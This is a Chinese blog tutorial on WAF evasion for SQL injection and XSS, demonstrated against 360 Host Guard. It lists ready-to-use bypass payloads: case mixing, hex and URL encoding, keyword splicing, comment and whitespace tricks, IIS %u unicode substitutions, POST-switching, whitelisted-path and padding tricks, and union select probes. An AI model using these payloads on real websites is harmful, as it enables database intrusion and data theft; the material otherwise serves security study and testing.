waf绕过—过360主机卫士sql注入

46 篇文章 24 订阅
22 篇文章 1 订阅


大部分waf是基于正则表达式

waf规则大多都有黑白名单,尤其是早期的waf,规则写的很死

绕waf类型

  • 大小写转换法

    • 在waf里,使用的正则不完善或者是没有用大小写转换函数

      • 示例:

        SQL:sEleCt vERsIoN()

        XSS:<sCrIpt>aleRt(1)</scrIpt>

  • 干扰字符污染

    • 利用网站使用的语言函数特性来绕过waf的规则或者使用会无视的字符

      SQL:select version();`he
      SQL2:select/*!*/`version`();
      XSS
      
  • 字符编码法

    • 利用浏览器上的进制转换或者语言编码规则来绕过waf,就是对一些字符进行编码,常见的SQL编码有unicode、HEX、URL、ascll、base64等,XSS编码有:HTML、URL、ASCII、js编码、base64等等

      SQL:load_file(0x633A2F77696E646F77732F6D792E696E69)
      XSS:<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>
      
  • 拼凑法

    • 利用waf的不完整性,只验证一次字符串或者过滤的字符串并不完整

      SQL:selselectect verversionsion();
      XSS:<scr<script>rip>alalertert</scr</script>rip>
      

数据库特性

注释

#
-- 
-- - 
--+ 
// 
/**/ 
/*letmetest*/ 
;%00

空白字符

SQLite3 0A 0D 0C 09 20  
MySQL5 09 0A 0B 0C 0D A0 20  
PosgresSQL 0A 0D 0C 09 20  
Oracle 11g 00 0A 0D 0C 09 20  
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

可运用的sql函数&关键字:

MySQL:

字符转换 
Char(49) 
Hex('a') 
Unhex(61) 
过滤了逗号 
(1)limit处的逗号: limit 1 offset 0 
(2)字符串截取处的逗号 mid处的逗号: mid(version() from 1 for 1) union distinct 
union distinctrow 
procedure analyse() 
updatexml() 
extracavalue() 
exp() 
ceil() 
atan() 
sqrt() 
floor() 
ceiling() 
tan() 
rand() 
sign() 
greatest() 

字符串截取函数 
Mid(version(),1,1) 
Substr(version(),1,1) 
Substring(version(),1,1) 
Lpad(version(),1,1) 
Rpad(version(),1,1) 
Left(version(),1) 
reverse(right(reverse(version()),1) 

字符串连接函数 concat(version(),'|',user()); 
concat_ws('|',1,2,3) 

字符转换 
Char(49) 
Hex('a') 
Unhex(61) 
过滤了逗号 
(1)limit处的逗号: limit 1 offset 0 
(2)字符串截取处的逗号 mid处的逗号: mid(version() from 1 for 1) 

MSSQL:

IS_SRVROLEMEMBER() 
IS_MEMBER() 
HAS_DBACCESS() 
convert() 
col_name() 
object_id() 
is_srvrolemember() 
is_member() 
字符串截取函数 Substring(@@version,1,1) 
Left(@@version,1) 
Right(@@version,1) 

字符串转换函数 Ascii('a') 这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypass Char('97') 
exec

容器特性:

%

asp+iis的环境中,当我们请求的url中存在单一的百分号%时,iis+asp会将其忽略掉

%u

iis支持unicode的解析,当我们请求的url存在unicode字符串的话iis会自动将其转换

案例:

s%u0065lect->select
s%u00f0lect->select
字母a:
%u0000
%u0041
%u0061
%u00aa
%u00e2
单引号:
%u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7
空白:
%u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0
左括号(:
%u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
右括号):
%u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9

过360主机卫士SQL注入

image-20220306220340327

可以发现and被过滤了

但是当语句不完整时不会过滤and,只有拼接成完整的语句时一定会拦

测试waf拦截的过程叫做模糊测试(fuzz)

?id=1 and 1=

image-20220307130402446

可采用post注入的方式,即可绕过360的waf拦截

image-20220307130807655

有些waf只拦get请求,在post里随便写东西就过了

image-20220307131131226

黑白名单

例如利用网站后台白名单,在参数里加上白名单所允许的字符即可绕过

/index.php/system?id=1 union select 1,2,3,4,5

image-20220307131454647

静态文件

js,jpg,txt,png等文件后缀,也是类似于白名单的一个机制

waf遇到这种后缀,会自动跳过检测

image-20220307132146935

垃圾字符

不同的waf开发时都有设定的最大字符长度,例如曾经的阿里云长度29mb

超过字符限制,后面的就不再检测

另类协议

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Web应用程序防火墙(WAFWeb Application Firewall)是一种网络安全设备或服务,用于检测和阻止针对Web应用的攻击,包括SQL注入等。SQL注入是攻击者通过恶意输入,将SQL代码插入到应用程序的数据库查询中,意图获取敏感信息或篡改数据。 WAF绕过SQL注入通常是攻击者针对WAF安全策略和技术限制来实施的一种技术手段,常见的方法包括: 1. **参数编码和转义**: 攻击者可能会尝试使用特殊字符的转义序列,如\"\'(单引号)或\"\"(双引号),来欺骗WAF,使其误判为合法的输入。 2. **利用WAF规则漏洞**: 一些老旧或配置不当的WAF可能无法识别复杂的注入模式,攻击者会利用这些漏洞进行攻击。 3. **HTTP头部注入**: 攻击者可能会尝试将SQL注入嵌入到HTTP头部请求中,有些WAF可能只关注请求体而忽视头部。 4. **使用存储过程或动态SQL**: 通过调用服务器端已存在的存储过程,或者构造动态SQL,使攻击难以被WAF直接拦截。 5. **利用API或JSON Web Token (JWT)**: 如果攻击发生在API层面,攻击者可能会利用API的认证机制,将SQL注入隐藏在合法的API调用中。 6. **社会工程学攻击**: 通过利用用户信任或权限漏洞,让目标用户执行包含SQL注入的恶意操作。 要防止WAF绕过,应不断更新和强化WAF规则,同时采用多重防御策略,比如使用参数化查询、输入验证、异常处理和对用户输入的深度检查。此外,定期审计和安全测试也是防止此类攻击的重要手段。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shadow丶S

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值